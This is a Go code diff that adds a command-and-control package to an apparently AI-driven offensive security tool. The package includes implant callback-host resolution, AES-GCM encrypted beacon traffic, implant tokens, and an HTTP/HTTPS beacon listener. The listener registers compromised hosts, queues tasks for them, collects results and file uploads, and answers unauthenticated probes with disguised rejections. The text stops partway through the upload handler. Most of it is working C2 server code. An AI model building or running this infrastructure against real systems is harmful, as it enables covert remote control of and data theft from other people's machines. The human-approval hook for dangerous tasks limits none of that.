||||
sb.WriteString(d.EventType)
|
||||
sb.WriteString("] ")
|
||||
@@ -366,8 +366,8 @@ func (b *Builder) formatProcessDetailsForAttackChain(details []database.ProcessD
|
||||
return strings.TrimSpace(sb.String())
|
||||
}
|
||||
|
||||
// buildReActInput 构建最后一轮ReAct的输入(历史消息+当前用户输入)
|
||||
func (b *Builder) buildReActInput(messages []database.Message) string {
|
||||
// buildAgentTraceInput 构建最后一轮ReAct的输入(历史消息+当前用户输入)
|
||||
func (b *Builder) buildAgentTraceInput(messages []database.Message) string {
|
||||
var builder strings.Builder
|
||||
for _, msg := range messages {
|
||||
builder.WriteString(fmt.Sprintf("[%s]: %s\n\n", msg.Role, msg.Content))
|
||||
@@ -396,8 +396,8 @@ func (b *Builder) buildReActInput(messages []database.Message) string {
|
||||
// return ""
|
||||
// }
|
||||
|
||||
// formatReActInputFromJSON 将JSON格式的messages数组转换为可读的字符串格式
|
||||
func (b *Builder) formatReActInputFromJSON(reactInputJSON string) string {
|
||||
// formatAgentTraceInputFromJSON 将JSON格式的messages数组转换为可读的字符串格式
|
||||
func (b *Builder) formatAgentTraceInputFromJSON(reactInputJSON string) string {
|
||||
var messages []map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(reactInputJSON), &messages); err != nil {
|
||||
b.logger.Warn("解析ReAct输入JSON失败", zap.Error(err))
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// ResolveBeaconDialHost 决定植入端应连接的主机名(不含端口)。
|
||||
// 优先级:explicitOverride > 监听器 config_json 中的 callback_host > bind_host(0.0.0.0/::/空 时 detectExternalIP,失败则 127.0.0.1)。
|
||||
func ResolveBeaconDialHost(listener *database.C2Listener, explicitOverride string, logger *zap.Logger, listenerID string) string {
|
||||
if h := strings.TrimSpace(explicitOverride); h != "" {
|
||||
return h
|
||||
}
|
||||
cfg := &ListenerConfig{}
|
||||
if listener != nil && listener.ConfigJSON != "" {
|
||||
_ = parseJSON(listener.ConfigJSON, cfg)
|
||||
}
|
||||
if h := strings.TrimSpace(cfg.CallbackHost); h != "" {
|
||||
return h
|
||||
}
|
||||
if listener == nil {
|
||||
return "127.0.0.1"
|
||||
}
|
||||
host := strings.TrimSpace(listener.BindHost)
|
||||
if host == "0.0.0.0" || host == "" || host == "::" {
|
||||
host = detectExternalIP()
|
||||
if host == "" {
|
||||
if logger != nil {
|
||||
logger.Warn("listener binds 0.0.0.0 but no external IP detected, falling back to 127.0.0.1; set callback_host or pass explicit host",
|
||||
zap.String("listener_id", listenerID))
|
||||
}
|
||||
return "127.0.0.1"
|
||||
}
|
||||
}
|
||||
return host
|
||||
}
|
||||
@@ -0,0 +1,154 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
// AES-256-GCM 信封:每个 Listener 独立 32 字节密钥 + 每条消息独立 12 字节 nonce。
|
||||
// 协议格式(base64 文本,便于 HTTP body / SSE 直接传):
|
||||
// base64( nonce(12) || ciphertext+tag )
|
||||
// 设计要点:
|
||||
// - GCM 自带 16 字节 AEAD tag,完整性 + 机密性一次性搞定,无需额外 HMAC;
|
||||
// - nonce 由 crypto/rand 生成,96bit 在密钥不变期内重复概率极低(< 2^-32 / 4B 次);
|
||||
// - 密钥不出服务端:listener 创建时随机生成 32 字节,编译 beacon 时硬编码进去。
|
||||
|
||||
// GenerateAESKey 生成随机 32 字节 AES-256 密钥并 base64 输出
|
||||
func GenerateAESKey() (string, error) {
|
||||
key := make([]byte, 32)
|
||||
if _, err := io.ReadFull(rand.Reader, key); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(key), nil
|
||||
}
|
||||
|
||||
// GenerateImplantToken 生成 32 字节 token,base64 编码(implant 携带在 HTTP header 鉴权用)
|
||||
func GenerateImplantToken() (string, error) {
|
||||
t := make([]byte, 32)
|
||||
if _, err := io.ReadFull(rand.Reader, t); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return base64.RawURLEncoding.EncodeToString(t), nil
|
||||
}
|
||||
|
||||
// EncryptAESGCM 加密任意明文,返回 base64(nonce||ct)
|
||||
func EncryptAESGCM(keyB64 string, plaintext []byte) (string, error) {
|
||||
key, err := decodeKey(keyB64)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return "", err
|
||||
}
|
||||
ct := gcm.Seal(nil, nonce, plaintext, nil)
|
||||
out := append(nonce, ct...)
|
||||
return base64.StdEncoding.EncodeToString(out), nil
|
||||
}
|
||||
|
||||
// DecryptAESGCM 解密 base64(nonce||ct),返回明文
|
||||
func DecryptAESGCM(keyB64, encB64 string) ([]byte, error) {
|
||||
key, err := decodeKey(keyB64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw, err := base64.StdEncoding.DecodeString(encB64)
|
||||
if err != nil {
|
||||
return nil, errors.New("ciphertext base64 invalid")
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonceSize := gcm.NonceSize()
|
||||
if len(raw) < nonceSize+16 { // 至少 nonce + tag
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
nonce, ct := raw[:nonceSize], raw[nonceSize:]
|
||||
pt, err := gcm.Open(nil, nonce, ct, nil)
|
||||
if err != nil {
|
||||
return nil, errors.New("aead open failed (key mismatch or tampered)")
|
||||
}
|
||||
return pt, nil
|
||||
}
|
||||
|
||||
// EncryptAESGCMWithAAD encrypts with additional authenticated data bound to context (e.g. session_id).
|
||||
// Prevents cross-session replay: ciphertext from session A cannot be fed to session B.
|
||||
func EncryptAESGCMWithAAD(keyB64 string, plaintext []byte, aad []byte) (string, error) {
|
||||
key, err := decodeKey(keyB64)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return "", err
|
||||
}
|
||||
ct := gcm.Seal(nil, nonce, plaintext, aad)
|
||||
out := append(nonce, ct...)
|
||||
return base64.StdEncoding.EncodeToString(out), nil
|
||||
}
|
||||
|
||||
// DecryptAESGCMWithAAD decrypts with AAD verification.
|
||||
func DecryptAESGCMWithAAD(keyB64, encB64 string, aad []byte) ([]byte, error) {
|
||||
key, err := decodeKey(keyB64)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw, err := base64.StdEncoding.DecodeString(encB64)
|
||||
if err != nil {
|
||||
return nil, errors.New("ciphertext base64 invalid")
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonceSize := gcm.NonceSize()
|
||||
if len(raw) < nonceSize+16 {
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
nonce, ct := raw[:nonceSize], raw[nonceSize:]
|
||||
pt, err := gcm.Open(nil, nonce, ct, aad)
|
||||
if err != nil {
|
||||
return nil, errors.New("aead open failed (key mismatch, tampered, or AAD mismatch)")
|
||||
}
|
||||
return pt, nil
|
||||
}
|
||||
|
||||
func decodeKey(keyB64 string) ([]byte, error) {
|
||||
key, err := base64.StdEncoding.DecodeString(keyB64)
|
||||
if err != nil {
|
||||
return nil, errors.New("key base64 invalid")
|
||||
}
|
||||
if len(key) != 32 {
|
||||
return nil, errors.New("key must be 32 bytes (AES-256)")
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Event 是 EventBus 内部传输的事件单元,是 database.C2Event 的"实时投影"。
|
||||
// 区别在于:
|
||||
// - 数据库表保存全部历史,用于审计与列表分页;
|
||||
// - EventBus 只缓存最近 N 条,用于 SSE/WS 实时推送给在线订阅者。
|
||||
type Event struct {
|
||||
ID string `json:"id"`
|
||||
Level string `json:"level"`
|
||||
Category string `json:"category"`
|
||||
SessionID string `json:"sessionId,omitempty"`
|
||||
TaskID string `json:"taskId,omitempty"`
|
||||
Message string `json:"message"`
|
||||
Data map[string]interface{} `json:"data,omitempty"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
}
|
||||
|
||||
// EventBus 简单的内存广播总线。
|
||||
// 设计要点:
|
||||
// - 多订阅者:每个订阅者有独立 buffered channel,慢消费者不会阻塞 publisher;
|
||||
// - 容量满即丢弃:发布端绝不阻塞,避免 listener accept loop / beacon handler 卡住;
|
||||
// - 全局过滤:订阅时可限定 SessionID/Category,前端按需订阅,省 CPU;
|
||||
// - 关闭安全:Close() 后所有订阅者 chan 关闭,防止 goroutine 泄漏。
|
||||
type EventBus struct {
|
||||
mu sync.RWMutex
|
||||
subscribers map[string]*Subscription
|
||||
closed bool
|
||||
}
|
||||
|
||||
// Subscription 订阅句柄
|
||||
type Subscription struct {
|
||||
ID string
|
||||
Ch chan *Event
|
||||
SessionID string // 空表示不限制
|
||||
Category string // 空表示不限制
|
||||
Levels map[string]struct{}
|
||||
dropCount atomic.Int64
|
||||
}
|
||||
|
||||
// NewEventBus 创建总线
|
||||
func NewEventBus() *EventBus {
|
||||
return &EventBus{subscribers: make(map[string]*Subscription)}
|
||||
}
|
||||
|
||||
// Subscribe 注册订阅者;返回 Subscription,调用方负责后续 Unsubscribe。
|
||||
// - bufferSize:单订阅者 channel 容量,建议 64~256;
|
||||
// - sessionFilter / categoryFilter:空字符串=不限;
|
||||
// - levelFilter:[]string{"warn","critical"} 这类,nil/空表示全收。
|
||||
func (b *EventBus) Subscribe(id string, bufferSize int, sessionFilter, categoryFilter string, levelFilter []string) *Subscription {
|
||||
if bufferSize <= 0 {
|
||||
bufferSize = 128
|
||||
}
|
||||
sub := &Subscription{
|
||||
ID: id,
|
||||
Ch: make(chan *Event, bufferSize),
|
||||
SessionID: sessionFilter,
|
||||
Category: categoryFilter,
|
||||
}
|
||||
if len(levelFilter) > 0 {
|
||||
sub.Levels = make(map[string]struct{}, len(levelFilter))
|
||||
for _, l := range levelFilter {
|
||||
sub.Levels[l] = struct{}{}
|
||||
}
|
||||
}
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
if b.closed {
|
||||
close(sub.Ch)
|
||||
return sub
|
||||
}
|
||||
b.subscribers[id] = sub
|
||||
return sub
|
||||
}
|
||||
|
||||
// Unsubscribe 注销订阅者并关闭 channel
|
||||
func (b *EventBus) Unsubscribe(id string) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
if sub, ok := b.subscribers[id]; ok {
|
||||
delete(b.subscribers, id)
|
||||
close(sub.Ch)
|
||||
}
|
||||
}
|
||||
|
||||
// Publish 广播事件给所有订阅者;非阻塞,channel 满时静默丢弃
|
||||
func (b *EventBus) Publish(e *Event) {
|
||||
if e == nil {
|
||||
return
|
||||
}
|
||||
b.mu.RLock()
|
||||
subs := make([]*Subscription, 0, len(b.subscribers))
|
||||
for _, s := range b.subscribers {
|
||||
if s.matches(e) {
|
||||
subs = append(subs, s)
|
||||
}
|
||||
}
|
||||
closed := b.closed
|
||||
b.mu.RUnlock()
|
||||
if closed {
|
||||
return
|
||||
}
|
||||
for _, s := range subs {
|
||||
select {
|
||||
case s.Ch <- e:
|
||||
default:
|
||||
s.dropCount.Add(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Close 关闭总线,停止所有订阅
|
||||
func (b *EventBus) Close() {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
if b.closed {
|
||||
return
|
||||
}
|
||||
b.closed = true
|
||||
for id, s := range b.subscribers {
|
||||
close(s.Ch)
|
||||
delete(b.subscribers, id)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Subscription) matches(e *Event) bool {
|
||||
if s.SessionID != "" && e.SessionID != s.SessionID {
|
||||
return false
|
||||
}
|
||||
if s.Category != "" && e.Category != s.Category {
|
||||
return false
|
||||
}
|
||||
if len(s.Levels) > 0 {
|
||||
if _, ok := s.Levels[e.Level]; !ok {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package c2
|
||||
|
||||
import "context"
|
||||
|
||||
type hitlRunCtxKey struct{}
|
||||
|
||||
// WithHITLRunContext 将 runCtx(通常为整条 Agent / SSE 请求生命周期)挂到传入的 ctx 上。
|
||||
// MCP 工具 handler 收到的 ctx 可能是带单次工具超时的子 context,在工具 return 时会被 cancel;
|
||||
// 危险任务 HITL 应通过 HITLUserContext 使用 runCtx 等待人工审批。
|
||||
func WithHITLRunContext(ctx, runCtx context.Context) context.Context {
|
||||
if ctx == nil || runCtx == nil {
|
||||
return ctx
|
||||
}
|
||||
return context.WithValue(ctx, hitlRunCtxKey{}, runCtx)
|
||||
}
|
||||
|
||||
// HITLUserContext 返回用于 C2 危险任务 HITL 等待的 context:
|
||||
// 若曾用 WithHITLRunContext 注入更长寿命的 runCtx 则返回之,否则返回 ctx。
|
||||
func HITLUserContext(ctx context.Context) context.Context {
|
||||
if ctx == nil {
|
||||
return context.Background()
|
||||
}
|
||||
if v := ctx.Value(hitlRunCtxKey{}); v != nil {
|
||||
if run, ok := v.(context.Context); ok && run != nil {
|
||||
return run
|
||||
}
|
||||
}
|
||||
return ctx
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"os"
|
||||
)
|
||||
|
||||
// 这些薄封装存在的目的:
|
||||
// - 让 manager.go / handler 中的逻辑更直观,避免反复 import os;
|
||||
// - 便于将来用接口抽象(譬如改成 internal/storage 的实现)做单元测试。
|
||||
|
||||
func osMkdirAll(path string, perm os.FileMode) error {
|
||||
return os.MkdirAll(path, perm)
|
||||
}
|
||||
|
||||
func osWriteFile(path string, data []byte, perm os.FileMode) error {
|
||||
return os.WriteFile(path, data, perm)
|
||||
}
|
||||
|
||||
func base64Decode(s string) ([]byte, error) {
|
||||
return base64.StdEncoding.DecodeString(s)
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// Listener 监听器抽象:每种传输方式(TCP/HTTP/HTTPS/WS/DNS)都实现此接口;
|
||||
// Manager 不感知具体实现细节,通过 ListenerRegistry 工厂创建。
|
||||
type Listener interface {
|
||||
// Type 返回当前 listener 的类型字符串(如 "tcp_reverse")
|
||||
Type() string
|
||||
// Start 启动监听;如果端口被占用应返回 ErrPortInUse
|
||||
Start() error
|
||||
// Stop 停止监听并释放所有相关 goroutine(不应抛 panic)
|
||||
Stop() error
|
||||
}
|
||||
|
||||
// ListenerCreationCtx 工厂初始化 listener 时收到的上下文
|
||||
type ListenerCreationCtx struct {
|
||||
Listener *database.C2Listener
|
||||
Config *ListenerConfig
|
||||
Manager *Manager
|
||||
Logger *zap.Logger
|
||||
}
|
||||
|
||||
// ListenerFactory 创建 listener 实例的工厂;返回的实例尚未 Start
|
||||
type ListenerFactory func(ctx ListenerCreationCtx) (Listener, error)
|
||||
|
||||
// ListenerRegistry 类型 → 工厂 的注册表,由 internal/app 启动时注册具体实现,
|
||||
// 测试中也可注入 mock 工厂来覆盖。
|
||||
type ListenerRegistry struct {
|
||||
mu sync.RWMutex
|
||||
factories map[string]ListenerFactory
|
||||
}
|
||||
|
||||
// NewListenerRegistry 创建空注册表
|
||||
func NewListenerRegistry() *ListenerRegistry {
|
||||
return &ListenerRegistry{factories: make(map[string]ListenerFactory)}
|
||||
}
|
||||
|
||||
// Register 注册一种 listener 工厂
|
||||
func (r *ListenerRegistry) Register(typeName string, f ListenerFactory) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
r.factories[strings.ToLower(strings.TrimSpace(typeName))] = f
|
||||
}
|
||||
|
||||
// Get 取工厂;nil 表示未注册
|
||||
func (r *ListenerRegistry) Get(typeName string) ListenerFactory {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
return r.factories[strings.ToLower(strings.TrimSpace(typeName))]
|
||||
}
|
||||
|
||||
// RegisteredTypes 列出已注册的类型,给前端枚举用
|
||||
func (r *ListenerRegistry) RegisteredTypes() []string {
|
||||
r.mu.RLock()
|
||||
defer r.mu.RUnlock()
|
||||
out := make([]string, 0, len(r.factories))
|
||||
for k := range r.factories {
|
||||
out = append(out, k)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,549 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/subtle"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"math/big"
|
||||
mrand "math/rand"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// HTTPBeaconListener 实现 HTTP/HTTPS Beacon:
|
||||
// - beacon 端定期 POST {checkin_path}(携带 implant_token + AES 加密 body);
|
||||
// - 服务端解密、登记会话、回执 sleep + 是否有任务;
|
||||
// - beacon 收到 has_tasks=true 时 GET {tasks_path} 拉取加密任务列表;
|
||||
// - 任务完成后 POST {result_path} 回传结果。
|
||||
//
|
||||
// 优势:所有任务异步、可批量、支持文件上传/截图/任意大 blob,是 C2 的"主战场"。
|
||||
type HTTPBeaconListener struct {
|
||||
rec *database.C2Listener
|
||||
cfg *ListenerConfig
|
||||
manager *Manager
|
||||
logger *zap.Logger
|
||||
useTLS bool
|
||||
profile *database.C2Profile
|
||||
|
||||
srv *http.Server
|
||||
mu sync.Mutex
|
||||
stopCh chan struct{}
|
||||
stopped bool
|
||||
}
|
||||
|
||||
// NewHTTPBeaconListener 工厂(注册到 ListenerRegistry["http_beacon"])
|
||||
func NewHTTPBeaconListener(ctx ListenerCreationCtx) (Listener, error) {
|
||||
return &HTTPBeaconListener{
|
||||
rec: ctx.Listener,
|
||||
cfg: ctx.Config,
|
||||
manager: ctx.Manager,
|
||||
logger: ctx.Logger,
|
||||
useTLS: false,
|
||||
stopCh: make(chan struct{}),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// NewHTTPSBeaconListener 工厂(注册到 ListenerRegistry["https_beacon"])
|
||||
func NewHTTPSBeaconListener(ctx ListenerCreationCtx) (Listener, error) {
|
||||
return &HTTPBeaconListener{
|
||||
rec: ctx.Listener,
|
||||
cfg: ctx.Config,
|
||||
manager: ctx.Manager,
|
||||
logger: ctx.Logger,
|
||||
useTLS: true,
|
||||
stopCh: make(chan struct{}),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Type 类型字符串
|
||||
func (l *HTTPBeaconListener) Type() string {
|
||||
if l.useTLS {
|
||||
return string(ListenerTypeHTTPSBeacon)
|
||||
}
|
||||
return string(ListenerTypeHTTPBeacon)
|
||||
}
|
||||
|
||||
// Start 起 HTTP server
|
||||
func (l *HTTPBeaconListener) Start() error {
|
||||
// Load Malleable Profile if configured
|
||||
l.loadProfile()
|
||||
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc(l.cfg.BeaconCheckInPath, l.withProfileHeaders(l.handleCheckIn))
|
||||
mux.HandleFunc(l.cfg.BeaconTasksPath, l.withProfileHeaders(l.handleTasks))
|
||||
mux.HandleFunc(l.cfg.BeaconResultPath, l.withProfileHeaders(l.handleResult))
|
||||
mux.HandleFunc(l.cfg.BeaconUploadPath, l.withProfileHeaders(l.handleUpload))
|
||||
mux.HandleFunc(l.cfg.BeaconFilePath, l.withProfileHeaders(l.handleFileServe))
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort)
|
||||
l.srv = &http.Server{
|
||||
Addr: addr,
|
||||
Handler: mux,
|
||||
ReadHeaderTimeout: 15 * time.Second,
|
||||
ReadTimeout: 60 * time.Second,
|
||||
WriteTimeout: 120 * time.Second,
|
||||
IdleTimeout: 300 * time.Second,
|
||||
}
|
||||
|
||||
ln, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
if isAddrInUse(err) {
|
||||
return ErrPortInUse
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
if l.useTLS {
|
||||
tlsConfig, err := l.buildTLSConfig()
|
||||
if err != nil {
|
||||
_ = ln.Close()
|
||||
return fmt.Errorf("build TLS config: %w", err)
|
||||
}
|
||||
l.srv.TLSConfig = tlsConfig
|
||||
go func() {
|
||||
if err := l.srv.ServeTLS(ln, "", ""); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
||||
l.logger.Warn("https_beacon ServeTLS exited", zap.Error(err))
|
||||
}
|
||||
}()
|
||||
} else {
|
||||
go func() {
|
||||
if err := l.srv.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
||||
l.logger.Warn("http_beacon Serve exited", zap.Error(err))
|
||||
}
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stop 关闭
|
||||
func (l *HTTPBeaconListener) Stop() error {
|
||||
l.mu.Lock()
|
||||
if l.stopped {
|
||||
l.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
l.stopped = true
|
||||
close(l.stopCh)
|
||||
l.mu.Unlock()
|
||||
if l.srv != nil {
|
||||
ctx, cancel := contextWithTimeout(5 * time.Second)
|
||||
defer cancel()
|
||||
_ = l.srv.Shutdown(ctx)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// HTTP handlers
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
func (l *HTTPBeaconListener) handleCheckIn(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
if !l.checkImplantToken(r) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 1<<20))
|
||||
if err != nil {
|
||||
http.Error(w, "read failed", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
// 尝试 AES-GCM 解密(完整 beacon 二进制走加密通道)
|
||||
var req ImplantCheckInRequest
|
||||
plaintext, decErr := DecryptAESGCM(l.rec.EncryptionKey, string(body))
|
||||
if decErr == nil {
|
||||
if err := json.Unmarshal(plaintext, &req); err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
// 解密失败:尝试当作明文 JSON(兼容 curl oneliner 等轻量级客户端)
|
||||
if err := json.Unmarshal(body, &req); err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
}
|
||||
isPlaintext := decErr != nil
|
||||
|
||||
if req.UserAgent == "" {
|
||||
req.UserAgent = r.UserAgent()
|
||||
}
|
||||
if req.SleepSeconds <= 0 {
|
||||
req.SleepSeconds = l.cfg.DefaultSleep
|
||||
}
|
||||
// curl oneliner 可能不携带完整字段,用 remote IP + listener ID 生成稳定标识
|
||||
host, _, _ := net.SplitHostPort(r.RemoteAddr)
|
||||
if strings.TrimSpace(req.ImplantUUID) == "" {
|
||||
// 基于 IP + listener ID 生成稳定 UUID,同一 IP 多次 check_in 复用同一会话
|
||||
req.ImplantUUID = fmt.Sprintf("curl_%s_%s", host, shortHash(host+l.rec.ID))
|
||||
}
|
||||
if strings.TrimSpace(req.Hostname) == "" {
|
||||
req.Hostname = "curl_" + host
|
||||
}
|
||||
if strings.TrimSpace(req.InternalIP) == "" {
|
||||
req.InternalIP = host
|
||||
}
|
||||
if strings.TrimSpace(req.OS) == "" {
|
||||
req.OS = "unknown"
|
||||
}
|
||||
if strings.TrimSpace(req.Arch) == "" {
|
||||
req.Arch = "unknown"
|
||||
}
|
||||
session, err := l.manager.IngestCheckIn(l.rec.ID, req)
|
||||
if err != nil {
|
||||
http.Error(w, "ingest failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
queued, _ := l.manager.DB().ListC2Tasks(database.ListC2TasksFilter{
|
||||
SessionID: session.ID,
|
||||
Status: string(TaskQueued),
|
||||
Limit: 1,
|
||||
})
|
||||
resp := ImplantCheckInResponse{
|
||||
SessionID: session.ID,
|
||||
NextSleep: session.SleepSeconds,
|
||||
NextJitter: session.JitterPercent,
|
||||
HasTasks: len(queued) > 0,
|
||||
ServerTime: time.Now().UnixMilli(),
|
||||
}
|
||||
if isPlaintext {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(resp)
|
||||
} else {
|
||||
l.writeEncrypted(w, resp)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *HTTPBeaconListener) handleTasks(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
if !l.checkImplantToken(r) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
sessionID := r.URL.Query().Get("session_id")
|
||||
if sessionID == "" {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
session, err := l.manager.DB().GetC2Session(sessionID)
|
||||
if err != nil || session == nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
envelopes, err := l.manager.PopTasksForBeacon(sessionID, 50)
|
||||
if err != nil {
|
||||
http.Error(w, "pop tasks failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if envelopes == nil {
|
||||
envelopes = []TaskEnvelope{}
|
||||
}
|
||||
resp := map[string]interface{}{"tasks": envelopes}
|
||||
if l.isPlaintextClient(r) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(resp)
|
||||
} else {
|
||||
l.writeEncrypted(w, resp)
|
||||
}
|
||||
}
|
||||
|
||||
func (l *HTTPBeaconListener) handleResult(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
if !l.checkImplantToken(r) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 64<<20))
|
||||
if err != nil {
|
||||
http.Error(w, "read failed", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
var report TaskResultReport
|
||||
plaintext, decErr := DecryptAESGCM(l.rec.EncryptionKey, string(body))
|
||||
if decErr == nil {
|
||||
if err := json.Unmarshal(plaintext, &report); err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
if err := json.Unmarshal(body, &report); err != nil {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
}
|
||||
if err := l.manager.IngestTaskResult(report); err != nil {
|
||||
http.Error(w, "ingest result failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
resp := map[string]string{"ok": "1"}
|
||||
if l.isPlaintextClient(r) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(resp)
|
||||
} else {
|
||||
l.writeEncrypted(w, resp)
|
||||
}
|
||||
}
|
||||
|
||||
// handleUpload 实现 implant 主动上传文件给服务端(如 download 任务的二进制结果)。
|
||||
// Body 为 AES-GCM 加密后的 base64,与 check-in/result 保持一致的安全策略。
|
||||
func (l *HTTPBeaconListener) handleUpload(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
if !l.checkImplantToken(r) {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
taskID := r.URL.Query().Get("task_id")
|
||||
if taskID == "" {
|
||||
l.disguisedReject(w)
|
||||
return
|
||||
}
|
||||
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, 256<<20))
|
||||
if err != nil {
|
||||
http.Error(w, "read failed", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
plaintext, err := DecryptAESGCM(l.rec.EncryptionKey, string(body))
|
||||
if err != nil {
|
||||
